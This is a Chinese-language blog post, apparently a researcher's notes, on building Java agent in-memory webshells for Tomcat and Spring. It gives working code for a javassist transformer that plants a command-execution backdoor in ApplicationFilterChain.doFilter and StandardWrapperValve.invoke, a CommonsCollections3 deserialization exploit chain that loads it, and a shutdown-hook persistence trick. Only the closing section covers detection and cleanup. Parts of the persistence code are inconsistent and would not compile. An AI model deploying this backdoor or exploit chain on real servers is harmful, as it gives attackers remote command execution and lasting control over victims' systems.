好久没有看回java内存马了,把落下的agent内存马补一下
agent内存马顾名思义就是拿java agent技术来拦截并且修改关键类字节码所导致的内存马注入,前面三种内存马(Filter、Listener、Servlet)都需要对中间件进行调试,一步步进行反射调用,而agent只需要对关键类进行处理即可。
Java Agent技术
java agent来源于jdk的rt.jar
中。rt.jar
包中存在一个java.lang.instrument
包,这个包的作用是帮助开发人员动态地修改系统中的Class类型,其中一个关键组件就是java agent
。
Java Agent
能够在不影响正常编译的情况下来修改字节码,说白了Java Agent只是一个类,但是不同于普通的Java类的入口main
,它的类加载入口主要有两种:
premain
方法,在程序启动时进行加载(jdk 1.5之后才有)
,也就是在main
方法被调用时
agentmain
方法,在程序启动后进行加载(jdk 1.6之后才有)
下面来编写demo实现premain
和agentmain
实现premain方法
新建maven项目,编写demo如下:
1 2 3 4 5 6 7 8 9 10 import java.lang.instrument.Instrumentation;public class premain_test { public static void premain (String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); for (int i=0 ;i<5 ;i++){ System.out.println("Premain invoked!" ); } } }
在idea里的src/main/resources
文件夹下创建META-INF/MANIFEST.MF
文件
编写MANIFEST.MF
:
1 2 3 Manifest-Version: 1.0 Premain-Class: premain_test
记得最后要换行,并且Premain
类要对应:
最后只需要利用idea构建成jar即可,这里需要使用maven项目构建:
在pom.xml中添加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <version > 2.2</version > <configuration > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > <archive > <manifestFile > src/main/resources/META-INF/MANIFEST.MF </manifestFile > </archive > </configuration > <executions > <execution > <goals > <goal > attached</goal > </goals > <phase > package</phase > </execution > </executions > </plugin > </plugins > </build >
然后构建:
构建成功后会得到一个xxx-jar-with-dependencies.jar
的jar包,准备另一个jar包用于测试premain
:
1 java -javaagent:premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar -jar app.jar
可以看到打印了五次Premain invoked
才运行app.jar
启动blade服务。而这个null是agentArgs
,由于启动时并没有输入参数所以打印为null,如果需要参数则只需要输入
1 java8 -javaagent:premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar=xxx -jar app.jar
值得注意的是对于premain,我们不止有参数agentArgs
,还有另外一个参数Instrumentation
。Instrumentation
是JVMTIAgent
(Java VM Tool Interface Agent
)的一部分,简单来说java agent就是通过这个类来对目标类进行修改的
在Instrumentation
中有一个transformer
的Class
文件转换器,这个转换器可以改变二进制流的数据,因此transformer
可以对未加载的类将那些拦截,同时也可以对已经加载的类进行重新加载并且拦截,根据这个特性就能够实现动态修改字节码
Instrumentation
的一些方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
重点介绍addTransformer
、removeTransformer
、retransformClasses
这三个方法
addTransformer
addTransformer方法用于注册一个自己的Transformer
,当拦截到classFileTransformer
内指定的类时就会进入到自己的transformer方法进行拦截
例如一个实现ClassFileTransformer
的类(参数和中间内容被省略):
1 2 3 4 5 6 7 8 9 10 public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "xxx" ; public byte [] transform(...){ ... if (className.equals(ClassName)){ ... } } }
getAllLoadedClasses
该方法能够列出所有已加载的Class
,我们可以通过遍历该方法得到的Class
数组来寻找我们需要的类
retransformClass
该方法能够对已经加载的Class进行重新定义,如果目标类已经被加载可以调用该方法重新加载这个类然后被我们的transformer拦截,达到对已加载的字节码进行修改的效果。
demo
首先利用addTransformer
方法注册一个transformer
,然后创建ClassFileTransformer
方法的实现类,最后override transformer
方法:
DefineTransformer:
1 2 3 4 5 6 7 8 9 10 11 import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { System.out.println(className); return new byte [0 ]; } }
在premain
里添加:
1 2 3 4 5 6 7 8 9 10 11 import java.lang.instrument.Instrumentation;public class premain_test { public static void premain (String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); for (int i=0 ;i<5 ;i++){ System.out.println("Premain invoked!" ); } inst.addTransformer(new DefineTransformer (), true ); } }
这里的addTransformer
方法后面的参数true代表它可以修改JVM加载过的类字节码,不过同时还要在MANIFEST.MF
里添加:
1 2 Can-Retransform-Classes: true Can-Redefine-Classes: true
修改后的MANIFEST.MF
应该是这样的:
1 2 3 4 5 Manifest-Version: 1.0 Premain-Class: premain_test Can-Redefine-Classes: true Can-Retransform-Classes: true
运行得到下面的结果
那应该如何注入agent内存马呢?
我们知道不管是tomcat还是springboot都会有springboot加载(spring可以很明显地看到在启动时会加载tomcat容器)
由于agent内存马是拦截关键类进行注入的,因此回顾tomcat
的内存马,可以简单地得知如果我们拦截并修改了filterChain.doFilter
方法,并且添加我们的恶意代码即可实现内存马。在filter内存马里说过filterChain
来自于ApplicationFilterChain
的实例,源码大概如下:
1 2 3 4 5 ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);... filterChain.doFilter(request.getRequest(), response.getResponse());
因此只需要拦截ApplicationFilterChain.doFilter
方法即可
premain的不足 & agentmain
很多时候我们要注入内存马都是在程序运行之后的情况(比如一个正在运行的java站等),这个时候就不适用premain了,因此这个时候就需要我们的agentmain
。通过tools.jar
的Attach API
来动态加载agentmain
由于tools.jar
默认不加载,因此需要在classpath
中额外指定
首先在idea -> project structure -> SDK中添加自己jdk目录/lib/tools.jar
,这样才能够找到Attach API
编写agentmain的demo
编写AgentMain
方法:
1 2 3 4 5 6 7 8 import java.lang.instrument.Instrumentation;public class agentmain_test { public static void agentmain (String agentArgs, Instrumentation inst) { inst.addTransformer(new DefineTransformer (), true ); } }
编写MANIFEST.MF
:
1 2 3 4 5 Manifest-Version: 1.0 Agent-Class: agentmain_test Can-Redefine-Classes: true Can-Retransform-Classes: true
生成AgentMain.jar
,编写一个测试类进行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;public class AgentMainTest { public static void main (String[] args) throws Exception { String agentMainPath = "生成的agentmain.jar的路径" ; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v : list){ System.out.println(v.displayName()); if (v.displayName().contains("AgentMainTest" )){ VirtualMachine vm = VirtualMachine.attach(v.id()); System.out.println("id >>>" + v.id()); vm.loadAgent(agentMainPath); vm.detach(); } } } }
可以看到执行结果如下:
这里是本地的情况,远程环境并不会加载jar,那该如何处理呢?
这里可以使用URLClassLoader的loadClass来远程加载类:
1 2 3 4 5 6 7 8 9 10 11 java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" , "lib" ) + java.io.File.separator + "tools.jar" ); System.out.println(toolsPath.toURI().toURL()); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM Start.." );
前面通过loadClass
加载需要的VirtualMachine
类和VirtualMachineDescriptor
类,并通过invoke
方法调用实现VirtualMachine.list()
方法,后续调用displayName()
方法也是类似的,完整调用代码如下(后续称其为loadAgent
,其对应生成的jar包为loadAgent.jar
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 try { java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" , "lib" ) + java.io.File.separator + "tools.jar" ); System.out.println(toolsPath.toURI().toURL()); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM Start.." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); String name = (String) displayName.invoke(o,null ); System.out.println(name); if (name.contains("AgentMainTest" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class []{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class []{java.lang.String.class}); java.lang.String path = "D:\\java_project\\premain_test\\target\\premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar" ; loadAgent.invoke(vm,new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); break ; } } }catch (Exception e){ }
运行结果:
写agent内存马
接下来就可以开始编写agent内存马了
agent.jar
,首先编写拦截ApplicationFilterChain
的doFilter
方法,因此编写DefineTransformer
,添加javaassit依赖利于我们编写类:
1 2 3 4 5 <dependency > <groupId > javassist</groupId > <artifactId > javassist</artifactId > <version > 3.12.0.GA</version > </dependency >
由于是改类内的字节码因此可以直接获得tomcat采用的httpServeletRequest和Response:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException{ className = className.replace("/" , "." ); if (className.equals(ClassName)){ System.out.println("Find the Inject Class: " + ClassName); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod method = c.getDeclaredMethod("doFilter" ); method.insertBefore("javax.servlet.ServletRequest req = request;\n" + "javax.servlet.ServletResponse res = response;" + "String cmd = req.getParameter(\"cmd\");\n" + "if (cmd != null) {\n" + "boolean isLinux = true;\n" + "String osTyp = System.getProperty(\"os.name\");\n" + "if (osTyp != null && osTyp.toLowerCase().contains(\"win\")) {isLinux = false;}\n" + "String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};" + "Process process = Runtime.getRuntime().exec(cmds);\n" + "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" + "new java.io.InputStreamReader(process.getInputStream()));\n" + "StringBuilder stringBuilder = new StringBuilder();\n" + "String line;\n" + "while ((line = bufferedReader.readLine()) != null) {\n" + "stringBuilder.append(line + '\\n');\n" + "}\n" + "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" + "res.getOutputStream().flush();\n" + "res.getOutputStream().close();\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; }catch (Exception e){ e.printStackTrace(); } } return new byte [0 ]; } }
此时DefineTransform已经准备完毕,修改agentmain
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.lang.instrument.Instrumentation;public class agentmain_test { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation inst) { inst.addTransformer(new DefineTransformer (), true ); Class[] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals(ClassName)){ try { inst.retransformClasses(new Class []{cls}); } catch (Exception e){ e.printStackTrace(); } } } } }
生成agentmain.jar
接下来只需要加载上面提到的URLClassLoader远程加载类
的字节码即可(使用CC3等反序列化方式加载字节码)
如果能够直接rce想打一个agent内存马持久化的话可以尝试直接上传agentmain.jar
和loadAgent.jar
去在命令行操作java -jar loadAgent.jar
即可
写一个用于加载字节码的loadAgent
,这个类是CC3中的字节码,因此要继承AbstractTranslet
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package com.example.agentdemo.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class loadAgent extends AbstractTranslet { static { try { java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" , "lib" ) + java.io.File.separator + "tools.jar" ); System.out.println(toolsPath.toURI().toURL()); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM Start.." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); String name = (String) displayName.invoke(o,null ); System.out.println(name); if (name.contains("AgentMainTest" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class []{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class []{java.lang.String.class}); java.lang.String path = "D:\\java_project\\premain_test\\target\\premain_test-1.0-SNAPSHOT-jar-with-dependencies.jar" ; loadAgent.invoke(vm,new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); break ; } } }catch (Exception e){ } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
启动漏洞环境进行测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.example.agentdemo.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;@Controller public class VulnController { @ResponseBody @RequestMapping("/cctest") public String ccVulntest2 (@RequestParam String b64data) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (Base64.getDecoder().decode(b64data)); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); return "Hello,World" ; } @ResponseBody @RequestMapping("/demo") public String demo () throws Exception{ return "This is OK Demo!" ; } }
这里已经添加了cc3.2.1
的依赖了,因此直接启动
CC3Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 package com.example.agentdemo.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class CC3Exp { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class clz = templates.getClass(); Field nameField = clz.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "aaa" ); byte [] bytecode = Files.readAllBytes(Paths.get("D:\\java_project\\agentdemo\\target\\classes\\com\\example\\agentdemo\\exp\\loadAgent.class" )); byte [][] codes = {bytecode}; Field bytecodeField = clz.getDeclaredField("_bytecodes" ); bytecodeField.setAccessible(true ); bytecodeField.set(templates, codes); Field tfactoryField = clz.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = { new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class); AIHConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = AIHConstructor.newInstance(Override.class, mapProxy); Serialize(o); } private static void Serialize (Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (baos); objectOutputStream.writeObject(obj); String s = new String (Base64.getEncoder().encode(baos.toByteArray())); System.out.println(s); System.out.println(s.length()); objectOutputStream.close(); } private static void UnSerialize () throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("ser.txt" )); objectInputStream.readObject(); objectInputStream.close(); } }
这里的7176是payload长度,无视即可,打payload后即可,控制台回显如下:
浏览器测试cmd:
注意agentmain.jar
必须要在目标服务器上才能够这么做
总结一下Agent
内存马的使用流程:
制作agentmain.jar
(必须)
想办法将agentmain.jar
传到对方的
改进型agent马
采用org.apache.catalina.core.StandardWrapperValve#invoke
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.List;public class TomcatAgent { public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve" ; public static void agentmain (String args, Instrumentation inst) throws Exception { for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals(CLASSNAME)) { inst.addTransformer(new TomcatTransformer (), true ); inst.retransformClasses(clazz); } } } public static void main (String[] args) throws Exception { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor desc : list) { String name = desc.displayName(); String pid = desc.id(); if (name.contains("org.apache.catalina.startup.Bootstrap" )) { VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar" ); vm.detach(); System.out.println("attach ok" ); break ; } } } } class TomcatTransformer implements ClassFileTransformer { public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve" ; public static final String CLASSMETHOD = "invoke" ; @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool pool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); pool.insertClassPath(ccp); } if (className.replace("/" , "." ).equals(CLASSNAME)) { CtClass clazz = pool.get(CLASSNAME); CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD); method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" + "String cmd = httpServletRequest.getHeader(\"Cmd\");\n" + "if (cmd != null) {\n" + " Process process = Runtime.getRuntime().exec(cmd);\n" + " java.io.InputStream input = process.getInputStream();\n" + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" + " StringBuilder sb = new StringBuilder();\n" + " String line = null;\n" + " while ((line = br.readLine()) != null) {\n" + " sb.append(line + \"\\n\");\n" + " }\n" + " br.close();\n" + " input.close();\n" + " response.setContentType(\"text/html;charset=utf-8\");\n" + " response.getWriter().print(sb.toString());\n" + " response.getWriter().flush();\n" + " response.getWriter().close();\n" + "}" ); byte [] classbyte = clazz.toBytecode(); clazz.detach(); return classbyte; } } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
持久化agent马
和其他内存马的通病是一样的,agent内存马无法在重启环境后继续存在,因此持久化Agent内存马也是必须的。
当然这也是我之前面试实习的时候被问到的一个问题,当时并不清楚怎么回答只回答了agent内存马,搁置到现在才来解决
简单来说原理就是在JVM
关闭前会调用addShutdownHook()
方法,此时只需要将一个线程hook到addShutdownHook()
方法即可在关闭时调用重新写入agentmain.jar
和loadAgent.jar
即可
例如在agentmain里添加ReadAgent()
和ReadLoader()
来保存这两个jar的表示:
参考rebeyond
师傅的Agent.java
,为了上下文流畅将类名进行了一些修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static byte [] injectFileBytes = new byte [] {}, agentFileBytes = new byte [] {};public static void ReadLoader (String filePath) throws Exception { String fileName = "loadAgent.jar" ; File f = new File (filePath + File.separator + fileName); if (!f.exists()) { f = new File (System.getProperty("java.io.tmpdir" ) + File.separator + fileName); } InputStream is = new FileInputStream (f); byte [] bytes = new byte [1024 * 100 ]; int num = 0 ; while ((num = is.read(bytes)) != -1 ) { injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0 , num)); } is.close(); } public static void ReadAgent (String filePath) throws Exception { String fileName = "Agent.jar" ; File f = new File (filePath + File.separator + fileName); if (!f.exists()) { f = new File (System.getProperty("java.io.tmpdir" ) + File.separator + fileName); } InputStream is = new FileInputStream (f); byte [] bytes = new byte [1024 * 100 ]; int num = 0 ; while ((num = is.read(bytes)) != -1 ) { agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0 , num)); } is.close(); }
这样将两个jar
存储到对应的字节数组内,在agentmain
方法内调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import java.lang.instrument.Instrumentation;public class agentmain_test { public static byte [] injectFileBytes = new byte [] {}, agentFileBytes = new byte [] {}; public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation inst) { inst.addTransformer(new DefineTransformer (), true ); Class[] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals(ClassName)){ try { inst.retransformClasses(new Class []{cls}); } catch (Exception e){ e.printStackTrace(); } } } try { readLoader(loaderPath); readAgent(agentPath); clear(loaderPath, agentPath); } catch (Exception e){ } agentmain_test.persist() } public static void persist () { try { Thread t = new Thread () { public void run () { try { writeFiles("inject.jar" , Agent.injectFileBytes); writeFiles("agent.jar" , Agent.agentFileBytes); startInject(); } catch (Exception e) { } } }; t.setName("shutdown Thread" ); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable t) { } } public static void startInject () throws Exception { Thread.sleep(2000 ); String tempFolder = System.getProperty("java.io.tmpdir" ); String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " ; Runtime.getRuntime().exec(cmd); } }
大概就是这样,原理就是通过addShutdownHook(t)
来hookpersist
方法内定义的进程,这样在关闭jvm的时候就会先写入agentmain
和loadAgent
然后调用startInject()
方法重新注入一遍
当然,对于其他的内存马如filter
内存马可以使用替换jar的方式来进行持久化,例如springboot
的charset.jar
和tomcat
的catalina.jar
,详见这篇文章
无文件落地agent马
参考Linux下无文件落地
只能够在linux下使用,因为需要获取到/proc/self/maps
和/proc/self/mem
,并且还需要解析elf
,非常地苛刻
构造流程也很麻烦,原文给的很具体了,总结大概是:
找到替换函数的地址,构建jvmtiEnv*
的机器码,替换到内存空间里,然后逐步替换直到能够修改对象成为InstrumentationImpl
实现:https://github.com/xiaopan233/Java_agent_without_file
agent马查杀
1 java8 -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB
sa-jdi.jar是自带的一个jar包
通过它的HSDB能够dump出类的字节码,反编译即可,需要先选择服务器对应的pid,然后通过tools里的class browser调出相应的类,常见的可能被修改的类:
1 2 3 4 5 6 7 8 9 (1)javax.servlet.http.HttpServlet service (2)org.apache.catalina.core.ApplicationFilterChain doFilter (3)org.springframework.web.servlet.DispatcherServlet doService (4)org.apache.tomcat.websocket.server.WsFilter doFilter (5)org.apache.catalina.core.StandardWrapperValve invoke
此时发现了内存马,就需要通过Agent
来还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import javassist.ClassPool;import javassist.CtClass;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.List;public class AgentClear { public static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve" ; public static void agentmain (String args, Instrumentation inst) throws Exception { for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals(CLASSNAME)) { inst.addTransformer(new RecoveryTransform (), true ); inst.retransformClasses(clazz); } } } public static void main (String[] args) throws Exception { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor desc : list) { String name = desc.displayName(); String pid = desc.id(); if (name.contains("org.apache.catalina.startup.Bootstrap" )) { System.out.println("To: " + pid); VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\AgentClear\\target\\AgentClear-1.0-SNAPSHOT-jar-with-dependencies.jar" ); vm.detach(); System.out.println("attach ok" ); break ; } } } } class RecoveryTransform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(className); byte [] bytes = clazz.toBytecode(); clazz.detach(); System.out.println(className + " 已经被还原" ); return bytes; } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
原理就是利用这个agent重新将字节码修改为正常字节码
Reference: